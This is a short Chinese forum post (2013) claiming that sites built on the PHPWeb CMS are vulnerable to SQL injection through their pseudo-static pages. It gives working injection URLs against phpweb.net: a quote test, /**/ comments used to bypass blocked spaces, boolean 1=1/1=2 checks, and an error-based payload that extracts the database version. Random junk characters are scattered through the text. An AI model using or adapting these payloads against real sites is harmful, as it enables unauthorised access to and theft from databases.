phpweb所有的整站程序伪静态页面都存在sql注入2 K+ c: g6 H, M
- i1 k& d$ o" o/ `7 r* D
主站：http://phpweb.net/
# j9 y e2 n) A- L0 T" a加’检测：
) p: |6 R) V! `$ j7 ^
7 ~5 {' i& B& W4 zhttp://www.phpweb.net/down/html/?772′.html
/ c; z9 n- U$ u) R6 Z8 ^ 3 i$ F r0 a5 M6 K
出错, T& l: g; ^2 B
存在注入。0 r, H# S- J t/ s9 S6 }
不能用空格，只能用/*罗
2 x8 v2 A2 c5 @. lhttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
0 k' H+ l# E. R2 T # C# Y5 b$ V9 r
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
# R6 v! K' l$ ]1 S; U ?爆数据库版本：
1 c0 P2 E3 x6 p0 Q& A
8 Y3 c8 X9 P6 A i7 _4 g1 D9 H?$ H8 m; W' g$ o
1& v# D ^7 x2 J( P6 M
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html5 C, n3 M/ s, q1 V# N0 F
更新日期: 2013-01-03 13:39:50 . U* _: v& K1 b6 v$ K, Z1 U8 `
|
发表于 2013-1-4 19:46:42
收藏
支持
反对